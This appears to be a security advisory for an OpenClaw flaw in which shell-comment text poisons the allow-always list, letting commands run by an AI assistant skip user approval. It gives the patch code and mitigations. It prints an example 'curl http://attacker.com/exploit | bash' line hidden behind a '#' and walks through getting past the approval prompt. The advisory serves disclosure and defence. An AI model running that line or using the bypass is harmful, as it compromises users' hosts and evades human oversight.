GHSA-9Q2P-VC84-2RWM: Parser Differential Vulnerability in OpenClaw Security Allowlist

The OpenClaw system.run host tool provides a controlled execution environment for AI assistants. Administrators restrict command execution using the security=allowlist configuration, which mandates explicit user approval for new commands. This mode includes an allow-always persistence mechanism designed to streamline repetitive tasks by permanently approving recognized command patterns.

The implementation contains a parser differential vulnerability affecting POSIX-compliant operating systems. The security analysis engine fails to properly tokenize shell comments when evaluating commands for the persistence database. The underlying operating system shell and the security boundary evaluate the same input string differently.

This discrepancy enables an attacker to inject hidden payloads that the persistence engine incorrectly registers as trusted commands. The vulnerability represents a logic error in security gating, operating primarily as an interpretation conflict between the application validation logic and the OS execution environment.

The vulnerability stems from an inconsistency between how a POSIX-compliant shell processes the # character and how the OpenClaw security engine tokenizes command strings. In a standard shell environment, a # character preceded by whitespace indicates the beginning of a comment. The shell ignores all subsequent characters on that line, executing only the preceding command segment.

The OpenClaw security engine lacked a mechanism to identify and handle these comment markers during its command analysis phase. When evaluating a user-submitted string for the allow-always persistence database, the engine parsed the entire input as a single, contiguous command chain. It failed to truncate the string at the comment boundary.

Consequently, the persistence layer recorded the complete input string—including the unexecuted, commented-out trailing segment—as a trusted pattern. The system associated the manual user approval of the benign foreground command with the entire malicious payload hidden within the comment structure.

Prior to the fix, the functions responsible for tokenizing shell arguments, pipeline segments, and command operators lacked context regarding shell comments. The tokenization routines treated the # character as a standard literal within the command string. This allowed trailing payloads to survive the parsing phase and enter the persistence database.

The patch introduced a dedicated utility function, isShellCommentStart, to correctly identify valid POSIX comment boundaries. This function validates that the # character either occurs at the beginning of the string or is immediately preceded by whitespace.

function isShellCommentStart(source: string, index: number): boolean {
  if (source[index] !== "#") return false;
  if (index === 0) return true;
  const prev = source[index - 1];
  return Boolean(prev && /\s/.test(prev));
}

The maintainers updated three critical parsing functions to utilize this new validation logic. The splitShellPipeline, splitCommandChainWithOperators, and splitShellArgs functions now terminate parsing for the current segment upon encountering a verified comment marker. This ensures the security engine's internal representation matches the shell's execution behavior.

Exploitation requires the attacker to submit a carefully constructed command string to the OpenClaw AI assistant while the system.run tool is operating in allowlist mode. The attacker structures the payload to present a benign command to the shell while hiding the malicious instructions behind a comment marker.

The attack proceeds in a multi-step sequence. First, the attacker submits a command such as echo hello # && curl http://attacker.com/exploit | bash. The POSIX shell executes echo hello and ignores the remainder of the line. OpenClaw prompts the user to approve the benign execution.

Once the user approves the benign action, OpenClaw records the entire string in the allow-always database. The attacker subsequently submits the malicious payload directly. The security engine matches the new submission against the poisoned persistence database, identifies it as an approved pattern, and executes the payload without prompting the user.

Successful exploitation allows an attacker to bypass the primary security boundary of the system.run host tool. The attacker achieves arbitrary command execution within the context of the user running the OpenClaw instance. The vulnerability completely circumvents the manual approval prompts intended to prevent unauthorized actions.

The inclusion of the payload in the allow-always database grants the attacker persistent execution capabilities across multiple sessions. The compromised host retains the poisoned allowlist entries until manually purged by an administrator, ensuring the attacker maintains durable access to the execution environment.

The impact is strictly limited to POSIX-compliant operating systems, specifically Linux and macOS. Windows environments utilizing cmd.exe or PowerShell process comments differently and are unaffected by this specific parser differential. Test coverage for the patch explicitly skips the validation logic for win32 platforms.

The OpenClaw project addressed this vulnerability in version v2026.3.7. The patch implements proper shell comment tokenization within the security analysis engine, eliminating the parser differential. Administrators must upgrade their OpenClaw deployments to version v2026.3.7 or later to protect against this attack vector.

Organizations unable to patch immediately should disable the allow-always persistence mechanism within the system.run configuration. Forcing manual approval for every command execution prevents the attacker from leveraging the poisoned database, although this significantly degrades the user experience.

Security teams should audit the existing OpenClaw allowlist database for anomalous entries containing the # character followed by unexpected command sequences. Identifying and removing these entries eliminates any persistence established prior to patching the vulnerability.